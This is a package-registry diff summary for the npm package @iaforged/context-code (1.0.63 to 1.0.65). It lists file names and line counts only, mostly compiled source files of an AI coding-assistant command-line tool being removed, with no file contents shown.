@iaforged/context-code 1.0.63 → 1.0.65

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2000) hide show
  1. package/LICENSE.md +1 -1
  2. package/README.md +633 -9
  3. package/context-bootstrap.js +28 -28
  4. package/package.json +169 -170
  5. package/dist/src/QueryEngine.js +0 -928
  6. package/dist/src/Task.js +0 -49
  7. package/dist/src/Tool.js +0 -56
  8. package/dist/src/assistant/AssistantSessionChooser.js +0 -16
  9. package/dist/src/assistant/index.js +0 -16
  10. package/dist/src/assistant/sessionDiscovery.js +0 -16
  11. package/dist/src/assistant/sessionHistory.js +0 -47
  12. package/dist/src/bootstrap/state.js +0 -1165
  13. package/dist/src/bridge/bridgeApi.js +0 -304
  14. package/dist/src/bridge/bridgeConfig.js +0 -39
  15. package/dist/src/bridge/bridgeDebug.js +0 -73
  16. package/dist/src/bridge/bridgeEnabled.js +0 -187
  17. package/dist/src/bridge/bridgeMain.js +0 -2289
  18. package/dist/src/bridge/bridgeMessaging.js +0 -353
  19. package/dist/src/bridge/bridgePermissionCallbacks.js +0 -10
  20. package/dist/src/bridge/bridgePointer.js +0 -175
  21. package/dist/src/bridge/bridgeStatusUtil.js +0 -105
  22. package/dist/src/bridge/bridgeUI.js +0 -412
  23. package/dist/src/bridge/capacityWake.js +0 -35
  24. package/dist/src/bridge/codeSessionApi.js +0 -111
  25. package/dist/src/bridge/createSession.js +0 -273
  26. package/dist/src/bridge/debugUtils.js +0 -115
  27. package/dist/src/bridge/envLessBridgeConfig.js +0 -121
  28. package/dist/src/bridge/flushGate.js +0 -65
  29. package/dist/src/bridge/inboundAttachments.js +0 -152
  30. package/dist/src/bridge/inboundMessages.js +0 -63
  31. package/dist/src/bridge/initReplBridge.js +0 -428
  32. package/dist/src/bridge/jwtUtils.js +0 -185
  33. package/dist/src/bridge/pollConfig.js +0 -85
  34. package/dist/src/bridge/pollConfigDefaults.js +0 -62
  35. package/dist/src/bridge/remoteBridgeCore.js +0 -712
  36. package/dist/src/bridge/replBridge.js +0 -1720
  37. package/dist/src/bridge/replBridgeHandle.js +0 -30
  38. package/dist/src/bridge/replBridgeTransport.js +0 -236
  39. package/dist/src/bridge/sessionIdCompat.js +0 -56
  40. package/dist/src/bridge/sessionRunner.js +0 -421
  41. package/dist/src/bridge/trustedDevice.js +0 -172
  42. package/dist/src/bridge/types.js +0 -9
  43. package/dist/src/bridge/workSecret.js +0 -99
  44. package/dist/src/buddy/CompanionSprite.js +0 -349
  45. package/dist/src/buddy/companion.js +0 -107
  46. package/dist/src/buddy/prompt.js +0 -33
  47. package/dist/src/buddy/sprites.js +0 -488
  48. package/dist/src/buddy/types.js +0 -90
  49. package/dist/src/buddy/useBuddyNotification.js +0 -90
  50. package/dist/src/cli/bg.js +0 -16
  51. package/dist/src/cli/exit.js +0 -30
  52. package/dist/src/cli/handlers/agents.js +0 -55
  53. package/dist/src/cli/handlers/ant.js +0 -16
  54. package/dist/src/cli/handlers/auth.js +0 -312
  55. package/dist/src/cli/handlers/autoMode.js +0 -128
  56. package/dist/src/cli/handlers/mcp.js +0 -334
  57. package/dist/src/cli/handlers/plugins.js +0 -634
  58. package/dist/src/cli/handlers/projects_bridge.js +0 -40
  59. package/dist/src/cli/handlers/templateJobs.js +0 -16
  60. package/dist/src/cli/handlers/util.js +0 -76
  61. package/dist/src/cli/ndjsonSafeStringify.js +0 -27
  62. package/dist/src/cli/print.js +0 -4225
  63. package/dist/src/cli/remoteIO.js +0 -208
  64. package/dist/src/cli/rollback.js +0 -16
  65. package/dist/src/cli/structuredIO.js +0 -644
  66. package/dist/src/cli/transports/HybridTransport.js +0 -233
  67. package/dist/src/cli/transports/SSETransport.js +0 -538
  68. package/dist/src/cli/transports/SerialBatchEventUploader.js +0 -224
  69. package/dist/src/cli/transports/Transport.js +0 -1
  70. package/dist/src/cli/transports/WebSocketTransport.js +0 -613
  71. package/dist/src/cli/transports/WorkerStateUploader.js +0 -88
  72. package/dist/src/cli/transports/ccrClient.js +0 -711
  73. package/dist/src/cli/transports/transportUtils.js +0 -39
  74. package/dist/src/cli/up.js +0 -16
  75. package/dist/src/cli/update.js +0 -315
  76. package/dist/src/commands/add-dir/add-dir.js +0 -121
  77. package/dist/src/commands/add-dir/index.js +0 -8
  78. package/dist/src/commands/add-dir/validation.js +0 -76
  79. package/dist/src/commands/advisor.js +0 -88
  80. package/dist/src/commands/agents/agents.js +0 -9
  81. package/dist/src/commands/agents/index.js +0 -7
  82. package/dist/src/commands/ant-trace/index.js +0 -1
  83. package/dist/src/commands/assistant/assistant.js +0 -16
  84. package/dist/src/commands/autofix-pr/index.js +0 -1
  85. package/dist/src/commands/backfill-sessions/index.js +0 -1
  86. package/dist/src/commands/branch/branch.js +0 -205
  87. package/dist/src/commands/branch/index.js +0 -11
  88. package/dist/src/commands/break-cache/index.js +0 -1
  89. package/dist/src/commands/bridge/bridge.js +0 -512
  90. package/dist/src/commands/bridge/index.js +0 -22
  91. package/dist/src/commands/bridge-kick.js +0 -179
  92. package/dist/src/commands/brief.js +0 -94
  93. package/dist/src/commands/btw/btw.js +0 -234
  94. package/dist/src/commands/btw/index.js +0 -9
  95. package/dist/src/commands/bughunter/index.js +0 -1
  96. package/dist/src/commands/chrome/chrome.js +0 -291
  97. package/dist/src/commands/chrome/index.js +0 -10
  98. package/dist/src/commands/clear/caches.js +0 -116
  99. package/dist/src/commands/clear/clear.js +0 -5
  100. package/dist/src/commands/clear/conversation.js +0 -191
  101. package/dist/src/commands/clear/index.js +0 -9
  102. package/dist/src/commands/color/color.js +0 -58
  103. package/dist/src/commands/color/index.js +0 -9
  104. package/dist/src/commands/commit-push-pr.js +0 -137
  105. package/dist/src/commands/commit.js +0 -80
  106. package/dist/src/commands/compact/compact.js +0 -196
  107. package/dist/src/commands/compact/index.js +0 -11
  108. package/dist/src/commands/config/config.js +0 -5
  109. package/dist/src/commands/config/index.js +0 -8
  110. package/dist/src/commands/context/context-noninteractive.js +0 -221
  111. package/dist/src/commands/context/context.js +0 -46
  112. package/dist/src/commands/context/index.js +0 -21
  113. package/dist/src/commands/copy/copy.js +0 -366
  114. package/dist/src/commands/copy/index.js +0 -7
  115. package/dist/src/commands/cost/cost.js +0 -21
  116. package/dist/src/commands/cost/index.js +0 -16
  117. package/dist/src/commands/createMovedToPluginCommand.js +0 -33
  118. package/dist/src/commands/ctx_viz/index.js +0 -1
  119. package/dist/src/commands/debug-tool-call/index.js +0 -1
  120. package/dist/src/commands/desktop/desktop.js +0 -5
  121. package/dist/src/commands/desktop/index.js +0 -22
  122. package/dist/src/commands/diff/diff.js +0 -5
  123. package/dist/src/commands/diff/index.js +0 -6
  124. package/dist/src/commands/doctor/doctor.js +0 -5
  125. package/dist/src/commands/doctor/index.js +0 -9
  126. package/dist/src/commands/effort/effort.js +0 -166
  127. package/dist/src/commands/effort/index.js +0 -11
  128. package/dist/src/commands/env/index.js +0 -1
  129. package/dist/src/commands/exit/exit.js +0 -31
  130. package/dist/src/commands/exit/index.js +0 -9
  131. package/dist/src/commands/export/export.js +0 -86
  132. package/dist/src/commands/export/index.js +0 -8
  133. package/dist/src/commands/extra-usage/extra-usage-core.js +0 -99
  134. package/dist/src/commands/extra-usage/extra-usage-noninteractive.js +0 -13
  135. package/dist/src/commands/extra-usage/extra-usage.js +0 -14
  136. package/dist/src/commands/extra-usage/index.js +0 -27
  137. package/dist/src/commands/fast/fast.js +0 -275
  138. package/dist/src/commands/fast/index.js +0 -20
  139. package/dist/src/commands/feedback/feedback.js +0 -10
  140. package/dist/src/commands/feedback/index.js +0 -20
  141. package/dist/src/commands/files/files.js +0 -11
  142. package/dist/src/commands/files/index.js +0 -9
  143. package/dist/src/commands/good-claude/index.js +0 -1
  144. package/dist/src/commands/heapdump/heapdump.js +0 -14
  145. package/dist/src/commands/heapdump/index.js +0 -9
  146. package/dist/src/commands/help/help.js +0 -5
  147. package/dist/src/commands/help/index.js +0 -7
  148. package/dist/src/commands/hooks/hooks.js +0 -11
  149. package/dist/src/commands/hooks/index.js +0 -8
  150. package/dist/src/commands/ide/ide.js +0 -615
  151. package/dist/src/commands/ide/index.js +0 -8
  152. package/dist/src/commands/init-verifiers.js +0 -258
  153. package/dist/src/commands/init.js +0 -249
  154. package/dist/src/commands/insights.js +0 -2555
  155. package/dist/src/commands/install-github-app/ApiKeyStep.js +0 -230
  156. package/dist/src/commands/install-github-app/CheckExistingSecretStep.js +0 -194
  157. package/dist/src/commands/install-github-app/CheckGitHubStep.js +0 -15
  158. package/dist/src/commands/install-github-app/ChooseRepoStep.js +0 -211
  159. package/dist/src/commands/install-github-app/CreatingStep.js +0 -52
  160. package/dist/src/commands/install-github-app/ErrorStep.js +0 -83
  161. package/dist/src/commands/install-github-app/ExistingWorkflowStep.js +0 -104
  162. package/dist/src/commands/install-github-app/InstallAppStep.js +0 -96
  163. package/dist/src/commands/install-github-app/OAuthFlowStep.js +0 -190
  164. package/dist/src/commands/install-github-app/SuccessStep.js +0 -93
  165. package/dist/src/commands/install-github-app/WarningsStep.js +0 -70
  166. package/dist/src/commands/install-github-app/index.js +0 -10
  167. package/dist/src/commands/install-github-app/install-github-app.js +0 -593
  168. package/dist/src/commands/install-github-app/setupGitHubActions.js +0 -227
  169. package/dist/src/commands/install-slack-app/index.js +0 -9
  170. package/dist/src/commands/install-slack-app/install-slack-app.js +0 -25
  171. package/dist/src/commands/install.js +0 -118
  172. package/dist/src/commands/issue/index.js +0 -1
  173. package/dist/src/commands/keybindings/index.js +0 -10
  174. package/dist/src/commands/keybindings/keybindings.js +0 -47
  175. package/dist/src/commands/login/index.js +0 -11
  176. package/dist/src/commands/login/login.js +0 -99
  177. package/dist/src/commands/login-openai/index.js +0 -7
  178. package/dist/src/commands/login-openai/login-openai.js +0 -54
  179. package/dist/src/commands/logout/index.js +0 -8
  180. package/dist/src/commands/logout/logout.js +0 -72
  181. package/dist/src/commands/mcp/addCommand.js +0 -183
  182. package/dist/src/commands/mcp/index.js +0 -9
  183. package/dist/src/commands/mcp/mcp.js +0 -78
  184. package/dist/src/commands/mcp/xaaIdpCommand.js +0 -193
  185. package/dist/src/commands/memory/index.js +0 -7
  186. package/dist/src/commands/memory/memory.js +0 -71
  187. package/dist/src/commands/mobile/index.js +0 -8
  188. package/dist/src/commands/mobile/mobile.js +0 -278
  189. package/dist/src/commands/mock-limits/index.js +0 -1
  190. package/dist/src/commands/model/index.js +0 -14
  191. package/dist/src/commands/model/model.js +0 -297
  192. package/dist/src/commands/oauth-refresh/index.js +0 -1
  193. package/dist/src/commands/onboarding/index.js +0 -1
  194. package/dist/src/commands/output-style/index.js +0 -8
  195. package/dist/src/commands/output-style/output-style.js +0 -6
  196. package/dist/src/commands/passes/index.js +0 -17
  197. package/dist/src/commands/passes/passes.js +0 -22
  198. package/dist/src/commands/perf-issue/index.js +0 -1
  199. package/dist/src/commands/permissions/index.js +0 -8
  200. package/dist/src/commands/permissions/permissions.js +0 -8
  201. package/dist/src/commands/plan/index.js +0 -8
  202. package/dist/src/commands/plan/plan.js +0 -115
  203. package/dist/src/commands/plugin/AddMarketplace.js +0 -95
  204. package/dist/src/commands/plugin/BrowseMarketplace.js +0 -576
  205. package/dist/src/commands/plugin/DiscoverPlugins.js +0 -613
  206. package/dist/src/commands/plugin/ManageMarketplaces.js +0 -582
  207. package/dist/src/commands/plugin/ManagePlugins.js +0 -1783
  208. package/dist/src/commands/plugin/PluginErrors.js +0 -124
  209. package/dist/src/commands/plugin/PluginOptionsDialog.js +0 -367
  210. package/dist/src/commands/plugin/PluginOptionsFlow.js +0 -97
  211. package/dist/src/commands/plugin/PluginSettings.js +0 -1042
  212. package/dist/src/commands/plugin/PluginTrustWarning.js +0 -34
  213. package/dist/src/commands/plugin/UnifiedInstalledCell.js +0 -615
  214. package/dist/src/commands/plugin/ValidatePlugin.js +0 -95
  215. package/dist/src/commands/plugin/index.js +0 -10
  216. package/dist/src/commands/plugin/parseArgs.js +0 -71
  217. package/dist/src/commands/plugin/plugin.js +0 -5
  218. package/dist/src/commands/plugin/pluginDetailsHelpers.js +0 -89
  219. package/dist/src/commands/plugin/usePagination.js +0 -89
  220. package/dist/src/commands/pr_comments/index.js +0 -49
  221. package/dist/src/commands/privacy-settings/index.js +0 -11
  222. package/dist/src/commands/privacy-settings/privacy-settings.js +0 -54
  223. package/dist/src/commands/profile/index.js +0 -9
  224. package/dist/src/commands/profile/profile.js +0 -426
  225. package/dist/src/commands/provider/index.js +0 -8
  226. package/dist/src/commands/provider/provider.js +0 -349
  227. package/dist/src/commands/rate-limit-options/index.js +0 -15
  228. package/dist/src/commands/rate-limit-options/rate-limit-options.js +0 -213
  229. package/dist/src/commands/release-notes/index.js +0 -8
  230. package/dist/src/commands/release-notes/release-notes.js +0 -38
  231. package/dist/src/commands/reload-plugins/index.js +0 -11
  232. package/dist/src/commands/reload-plugins/reload-plugins.js +0 -52
  233. package/dist/src/commands/remote-env/index.js +0 -12
  234. package/dist/src/commands/remote-env/remote-env.js +0 -5
  235. package/dist/src/commands/remote-setup/api.js +0 -155
  236. package/dist/src/commands/remote-setup/index.js +0 -15
  237. package/dist/src/commands/remote-setup/remote-setup.js +0 -149
  238. package/dist/src/commands/rename/generateSessionName.js +0 -58
  239. package/dist/src/commands/rename/index.js +0 -9
  240. package/dist/src/commands/rename/rename.js +0 -52
  241. package/dist/src/commands/reset-limits/index.js +0 -4
  242. package/dist/src/commands/resume/index.js +0 -9
  243. package/dist/src/commands/resume/resume.js +0 -239
  244. package/dist/src/commands/review/UltrareviewOverageDialog.js +0 -97
  245. package/dist/src/commands/review/reviewRemote.js +0 -259
  246. package/dist/src/commands/review/ultrareviewCommand.js +0 -57
  247. package/dist/src/commands/review/ultrareviewEnabled.js +0 -10
  248. package/dist/src/commands/review.js +0 -50
  249. package/dist/src/commands/rewind/index.js +0 -10
  250. package/dist/src/commands/rewind/rewind.js +0 -7
  251. package/dist/src/commands/sandbox-toggle/index.js +0 -41
  252. package/dist/src/commands/sandbox-toggle/sandbox-toggle.js +0 -72
  253. package/dist/src/commands/security-review.js +0 -231
  254. package/dist/src/commands/session/index.js +0 -13
  255. package/dist/src/commands/session/session.js +0 -142
  256. package/dist/src/commands/share/index.js +0 -1
  257. package/dist/src/commands/skills/index.js +0 -7
  258. package/dist/src/commands/skills/skills.js +0 -5
  259. package/dist/src/commands/stats/index.js +0 -7
  260. package/dist/src/commands/stats/stats.js +0 -5
  261. package/dist/src/commands/status/index.js +0 -8
  262. package/dist/src/commands/status/status.js +0 -5
  263. package/dist/src/commands/statusline.js +0 -22
  264. package/dist/src/commands/stickers/index.js +0 -8
  265. package/dist/src/commands/stickers/stickers.js +0 -14
  266. package/dist/src/commands/summary/index.js +0 -1
  267. package/dist/src/commands/tag/index.js +0 -9
  268. package/dist/src/commands/tag/tag.js +0 -215
  269. package/dist/src/commands/tasks/index.js +0 -8
  270. package/dist/src/commands/tasks/tasks.js +0 -5
  271. package/dist/src/commands/telegram/index.js +0 -9
  272. package/dist/src/commands/telegram/telegram.js +0 -118
  273. package/dist/src/commands/teleport/index.js +0 -1
  274. package/dist/src/commands/terminalSetup/index.js +0 -18
  275. package/dist/src/commands/terminalSetup/terminalSetup.js +0 -491
  276. package/dist/src/commands/theme/index.js +0 -7
  277. package/dist/src/commands/theme/theme.js +0 -50
  278. package/dist/src/commands/thinkback/index.js +0 -9
  279. package/dist/src/commands/thinkback/thinkback.js +0 -527
  280. package/dist/src/commands/thinkback-play/index.js +0 -13
  281. package/dist/src/commands/thinkback-play/thinkback-play.js +0 -34
  282. package/dist/src/commands/ultraplan.js +0 -418
  283. package/dist/src/commands/upgrade/index.js +0 -12
  284. package/dist/src/commands/upgrade/upgrade.js +0 -37
  285. package/dist/src/commands/usage/index.js +0 -7
  286. package/dist/src/commands/usage/usage.js +0 -5
  287. package/dist/src/commands/version.js +0 -18
  288. package/dist/src/commands/vim/index.js +0 -8
  289. package/dist/src/commands/vim/vim.js +0 -25
  290. package/dist/src/commands/voice/index.js +0 -14
  291. package/dist/src/commands/voice/voice.js +0 -130
  292. package/dist/src/commands/whatsapp/index.js +0 -9
  293. package/dist/src/commands/whatsapp/whatsapp.js +0 -326
  294. package/dist/src/commands.js +0 -646
  295. package/dist/src/components/AgentProgressLine.js +0 -111
  296. package/dist/src/components/App.js +0 -45
  297. package/dist/src/components/ApproveApiKey.js +0 -124
  298. package/dist/src/components/AutoModeOptInDialog.js +0 -140
  299. package/dist/src/components/AutoUpdater.js +0 -157
  300. package/dist/src/components/AutoUpdaterWrapper.js +0 -78
  301. package/dist/src/components/AwsAuthStatusBox.js +0 -88
  302. package/dist/src/components/BaseTextInput.js +0 -105
  303. package/dist/src/components/BashModeProgress.js +0 -48
  304. package/dist/src/components/BridgeDialog.js +0 -414
  305. package/dist/src/components/BypassPermissionsModeDialog.js +0 -87
  306. package/dist/src/components/ChannelDowngradeDialog.js +0 -100
  307. package/dist/src/components/ClaudeCodeHint/PluginHintMenu.js +0 -37
  308. package/dist/src/components/ClaudeInChromeOnboarding.js +0 -126
  309. package/dist/src/components/ClaudeMdExternalIncludesDialog.js +0 -137
  310. package/dist/src/components/ClickableImageRef.js +0 -64
  311. package/dist/src/components/CompactSummary.js +0 -119
  312. package/dist/src/components/ConfigurableShortcutHint.js +0 -34
  313. package/dist/src/components/ConsoleOAuthFlow.js +0 -756
  314. package/dist/src/components/ContextSuggestions.js +0 -43
  315. package/dist/src/components/ContextVisualization.js +0 -483
  316. package/dist/src/components/CoordinatorAgentStatus.js +0 -261
  317. package/dist/src/components/CostThresholdDialog.js +0 -48
  318. package/dist/src/components/CtrlOToExpand.js +0 -50
  319. package/dist/src/components/CustomSelect/SelectMulti.js +0 -149
  320. package/dist/src/components/CustomSelect/index.js +0 -2
  321. package/dist/src/components/CustomSelect/option-map.js +0 -32
  322. package/dist/src/components/CustomSelect/select-input-option.js +0 -426
  323. package/dist/src/components/CustomSelect/select-option.js +0 -23
  324. package/dist/src/components/CustomSelect/select.js +0 -518
  325. package/dist/src/components/CustomSelect/use-multi-select-state.js +0 -214
  326. package/dist/src/components/CustomSelect/use-select-input.js +0 -170
  327. package/dist/src/components/CustomSelect/use-select-navigation.js +0 -366
  328. package/dist/src/components/CustomSelect/use-select-state.js +0 -22
  329. package/dist/src/components/DesktopHandoff.js +0 -195
  330. package/dist/src/components/DesktopUpsell/DesktopUpsellStartup.js +0 -173
  331. package/dist/src/components/DevBar.js +0 -50
  332. package/dist/src/components/DevChannelsDialog.js +0 -103
  333. package/dist/src/components/DiagnosticsDisplay.js +0 -91
  334. package/dist/src/components/EffortCallout.js +0 -264
  335. package/dist/src/components/EffortIndicator.js +0 -29
  336. package/dist/src/components/ExitFlow.js +0 -40
  337. package/dist/src/components/ExportDialog.js +0 -101
  338. package/dist/src/components/FallbackToolUseErrorMessage.js +0 -115
  339. package/dist/src/components/FallbackToolUseRejectedMessage.js +0 -16
  340. package/dist/src/components/FastIcon.js +0 -42
  341. package/dist/src/components/Feedback.js +0 -439
  342. package/dist/src/components/FeedbackSurvey/FeedbackSurvey.js +0 -150
  343. package/dist/src/components/FeedbackSurvey/FeedbackSurveyView.js +0 -103
  344. package/dist/src/components/FeedbackSurvey/TranscriptSharePrompt.js +0 -83
  345. package/dist/src/components/FeedbackSurvey/submitTranscriptShare.js +0 -75
  346. package/dist/src/components/FeedbackSurvey/useDebouncedDigitInput.js +0 -51
  347. package/dist/src/components/FeedbackSurvey/useFeedbackSurvey.js +0 -258
  348. package/dist/src/components/FeedbackSurvey/useMemorySurvey.js +0 -191
  349. package/dist/src/components/FeedbackSurvey/usePostCompactSurvey.js +0 -202
  350. package/dist/src/components/FeedbackSurvey/useSurveyState.js +0 -80
  351. package/dist/src/components/FileEditToolDiff.js +0 -166
  352. package/dist/src/components/FileEditToolUpdatedMessage.js +0 -111
  353. package/dist/src/components/FileEditToolUseRejectedMessage.js +0 -157
  354. package/dist/src/components/FilePathLink.js +0 -34
  355. package/dist/src/components/FullscreenLayout.js +0 -578
  356. package/dist/src/components/GlobalSearchDialog.js +0 -339
  357. package/dist/src/components/HelpV2/Commands.js +0 -65
  358. package/dist/src/components/HelpV2/General.js +0 -24
  359. package/dist/src/components/HelpV2/HelpV2.js +0 -186
  360. package/dist/src/components/HighlightedCode/Fallback.js +0 -193
  361. package/dist/src/components/HighlightedCode.js +0 -184
  362. package/dist/src/components/HistorySearchDialog.js +0 -92
  363. package/dist/src/components/IdeAutoConnectDialog.js +0 -153
  364. package/dist/src/components/IdeOnboardingDialog.js +0 -174
  365. package/dist/src/components/IdeStatusIndicator.js +0 -49
  366. package/dist/src/components/IdleReturnDialog.js +0 -116
  367. package/dist/src/components/InterruptedByUser.js +0 -15
  368. package/dist/src/components/InvalidConfigDialog.js +0 -134
  369. package/dist/src/components/InvalidSettingsDialog.js +0 -84
  370. package/dist/src/components/KeybindingWarnings.js +0 -54
  371. package/dist/src/components/LanguagePicker.js +0 -84
  372. package/dist/src/components/LogSelector.js +0 -1579
  373. package/dist/src/components/LogoV2/AnimatedAsterisk.js +0 -42
  374. package/dist/src/components/LogoV2/AnimatedClawd.js +0 -111
  375. package/dist/src/components/LogoV2/ChannelsNotice.js +0 -258
  376. package/dist/src/components/LogoV2/Clawd.js +0 -5
  377. package/dist/src/components/LogoV2/CondensedLogo.js +0 -159
  378. package/dist/src/components/LogoV2/EmergencyTip.js +0 -47
  379. package/dist/src/components/LogoV2/Feed.js +0 -84
  380. package/dist/src/components/LogoV2/FeedColumn.js +0 -55
  381. package/dist/src/components/LogoV2/GuestPassesUpsell.js +0 -71
  382. package/dist/src/components/LogoV2/LogoV2.js +0 -565
  383. package/dist/src/components/LogoV2/Opus1mMergeNotice.js +0 -56
  384. package/dist/src/components/LogoV2/OverageCreditUpsell.js +0 -160
  385. package/dist/src/components/LogoV2/VoiceModeNotice.js +0 -70
  386. package/dist/src/components/LogoV2/WelcomeV2.js +0 -461
  387. package/dist/src/components/LogoV2/feedConfigs.js +0 -78
  388. package/dist/src/components/LspRecommendation/LspRecommendationMenu.js +0 -46
  389. package/dist/src/components/MCPServerApprovalDialog.js +0 -113
  390. package/dist/src/components/MCPServerDesktopImportDialog.js +0 -206
  391. package/dist/src/components/MCPServerDialogCopy.js +0 -15
  392. package/dist/src/components/MCPServerMultiselectDialog.js +0 -133
  393. package/dist/src/components/ManagedSettingsSecurityDialog/ManagedSettingsSecurityDialog.js +0 -149
  394. package/dist/src/components/ManagedSettingsSecurityDialog/utils.js +0 -105
  395. package/dist/src/components/Markdown.js +0 -217
  396. package/dist/src/components/MarkdownTable.js +0 -279
  397. package/dist/src/components/MemoryUsageIndicator.js +0 -27
  398. package/dist/src/components/Message.js +0 -566
  399. package/dist/src/components/MessageModel.js +0 -36
  400. package/dist/src/components/MessageResponse.js +0 -73
  401. package/dist/src/components/MessageRow.js +0 -346
  402. package/dist/src/components/MessageSelector.js +0 -743
  403. package/dist/src/components/MessageTimestamp.js +0 -57
  404. package/dist/src/components/Messages.js +0 -637
  405. package/dist/src/components/ModelPicker.js +0 -484
  406. package/dist/src/components/NativeAutoUpdater.js +0 -153
  407. package/dist/src/components/NotebookEditToolUseRejectedMessage.js +0 -83
  408. package/dist/src/components/OffscreenFreeze.js +0 -35
  409. package/dist/src/components/Onboarding.js +0 -174
  410. package/dist/src/components/OutputStylePicker.js +0 -102
  411. package/dist/src/components/PackageManagerAutoUpdater.js +0 -100
  412. package/dist/src/components/Passes/Passes.js +0 -113
  413. package/dist/src/components/PrBadge.js +0 -90
  414. package/dist/src/components/PressEnterToContinue.js +0 -15
  415. package/dist/src/components/PromptInput/HistorySearchInput.js +0 -44
  416. package/dist/src/components/PromptInput/IssueFlagBanner.js +0 -8
  417. package/dist/src/components/PromptInput/Notifications.js +0 -221
  418. package/dist/src/components/PromptInput/PromptInput.js +0 -1998
  419. package/dist/src/components/PromptInput/PromptInputFooter.js +0 -84
  420. package/dist/src/components/PromptInput/PromptInputFooterLeftSide.js +0 -409
  421. package/dist/src/components/PromptInput/PromptInputFooterSuggestions.js +0 -280
  422. package/dist/src/components/PromptInput/PromptInputHelpMenu.js +0 -379
  423. package/dist/src/components/PromptInput/PromptInputModeIndicator.js +0 -72
  424. package/dist/src/components/PromptInput/PromptInputQueuedCommands.js +0 -105
  425. package/dist/src/components/PromptInput/PromptInputStashNotice.js +0 -20
  426. package/dist/src/components/PromptInput/SandboxPromptFooterHint.js +0 -65
  427. package/dist/src/components/PromptInput/ShimmeredInput.js +0 -132
  428. package/dist/src/components/PromptInput/VoiceIndicator.js +0 -136
  429. package/dist/src/components/PromptInput/inputModes.js +0 -24
  430. package/dist/src/components/PromptInput/inputPaste.js +0 -62
  431. package/dist/src/components/PromptInput/useMaybeTruncateInput.js +0 -33
  432. package/dist/src/components/PromptInput/usePromptInputPlaceholder.js +0 -55
  433. package/dist/src/components/PromptInput/useShowFastIconHint.js +0 -23
  434. package/dist/src/components/PromptInput/useSwarmBanner.js +0 -112
  435. package/dist/src/components/PromptInput/utils.js +0 -50
  436. package/dist/src/components/QuickOpenDialog.js +0 -243
  437. package/dist/src/components/RemoteCallout.js +0 -53
  438. package/dist/src/components/RemoteEnvironmentDialog.js +0 -345
  439. package/dist/src/components/ResumeTask.js +0 -173
  440. package/dist/src/components/SandboxViolationExpandedView.js +0 -102
  441. package/dist/src/components/ScrollKeybindingHandler.js +0 -982
  442. package/dist/src/components/SearchBox.js +0 -55
  443. package/dist/src/components/SentryErrorBoundary.js +0 -16
  444. package/dist/src/components/SessionBackgroundHint.js +0 -104
  445. package/dist/src/components/SessionPreview.js +0 -200
  446. package/dist/src/components/Settings/Config.js +0 -1628
  447. package/dist/src/components/Settings/Settings.js +0 -129
  448. package/dist/src/components/Settings/Status.js +0 -230
  449. package/dist/src/components/Settings/Usage.js +0 -341
  450. package/dist/src/components/ShowInIDEPrompt.js +0 -151
  451. package/dist/src/components/SkillImprovementSurvey.js +0 -130
  452. package/dist/src/components/Spinner/FlashingChar.js +0 -51
  453. package/dist/src/components/Spinner/GlimmerMessage.js +0 -328
  454. package/dist/src/components/Spinner/ShimmerChar.js +0 -22
  455. package/dist/src/components/Spinner/SpinnerAnimationRow.js +0 -169
  456. package/dist/src/components/Spinner/SpinnerGlyph.js +0 -69
  457. package/dist/src/components/Spinner/TeammateSpinnerLine.js +0 -170
  458. package/dist/src/components/Spinner/TeammateSpinnerTree.js +0 -268
  459. package/dist/src/components/Spinner/index.js +0 -11
  460. package/dist/src/components/Spinner/teammateSelectHint.js +0 -1
  461. package/dist/src/components/Spinner/useShimmerAnimation.js +0 -22
  462. package/dist/src/components/Spinner/useStalledAnimation.js +0 -63
  463. package/dist/src/components/Spinner/utils.js +0 -77
  464. package/dist/src/components/Spinner.js +0 -470
  465. package/dist/src/components/Stats.js +0 -1000
  466. package/dist/src/components/StatusLine.js +0 -285
  467. package/dist/src/components/StatusNotices.js +0 -50
  468. package/dist/src/components/StructuredDiff/Fallback.js +0 -335
  469. package/dist/src/components/StructuredDiff/colorDiff.js +0 -26
  470. package/dist/src/components/StructuredDiff.js +0 -152
  471. package/dist/src/components/StructuredDiffList.js +0 -8
  472. package/dist/src/components/TagTabs.js +0 -100
  473. package/dist/src/components/TaskListV2.js +0 -333
  474. package/dist/src/components/TeammateViewHeader.js +0 -87
  475. package/dist/src/components/TeleportError.js +0 -191
  476. package/dist/src/components/TeleportProgress.js +0 -130
  477. package/dist/src/components/TeleportRepoMismatchDialog.js +0 -98
  478. package/dist/src/components/TeleportResumeWrapper.js +0 -158
  479. package/dist/src/components/TeleportStash.js +0 -82
  480. package/dist/src/components/TextInput.js +0 -108
  481. package/dist/src/components/ThemePicker.js +0 -330
  482. package/dist/src/components/ThinkingToggle.js +0 -153
  483. package/dist/src/components/TokenWarning.js +0 -172
  484. package/dist/src/components/ToolUseLoader.js +0 -34
  485. package/dist/src/components/TrustDialog/TrustDialog.js +0 -301
  486. package/dist/src/components/TrustDialog/utils.js +0 -199
  487. package/dist/src/components/ValidationErrorsList.js +0 -146
  488. package/dist/src/components/VimTextInput.js +0 -136
  489. package/dist/src/components/VirtualMessageList.js +0 -892
  490. package/dist/src/components/WorkflowMultiselectDialog.js +0 -118
  491. package/dist/src/components/WorktreeExitDialog.js +0 -222
  492. package/dist/src/components/agents/AgentDetail.js +0 -226
  493. package/dist/src/components/agents/AgentEditor.js +0 -146
  494. package/dist/src/components/agents/AgentNavigationFooter.js +0 -21
  495. package/dist/src/components/agents/AgentsList.js +0 -436
  496. package/dist/src/components/agents/AgentsMenu.js +0 -848
  497. package/dist/src/components/agents/ColorPicker.js +0 -110
  498. package/dist/src/components/agents/ModelSelector.js +0 -62
  499. package/dist/src/components/agents/SnapshotUpdateDialog.js +0 -16
  500. package/dist/src/components/agents/ToolSelector.js +0 -557
  501. package/dist/src/components/agents/agentFileUtils.js +0 -179
  502. package/dist/src/components/agents/generateAgent.js +0 -161
  503. package/dist/src/components/agents/new-agent-creation/CreateAgentWizard.js +0 -88
  504. package/dist/src/components/agents/new-agent-creation/wizard-steps/ColorStep.js +0 -80
  505. package/dist/src/components/agents/new-agent-creation/wizard-steps/ConfirmStep.js +0 -386
  506. package/dist/src/components/agents/new-agent-creation/wizard-steps/ConfirmStepWrapper.js +0 -63
  507. package/dist/src/components/agents/new-agent-creation/wizard-steps/DescriptionStep.js +0 -126
  508. package/dist/src/components/agents/new-agent-creation/wizard-steps/GenerateStep.js +0 -118
  509. package/dist/src/components/agents/new-agent-creation/wizard-steps/LocationStep.js +0 -79
  510. package/dist/src/components/agents/new-agent-creation/wizard-steps/MemoryStep.js +0 -107
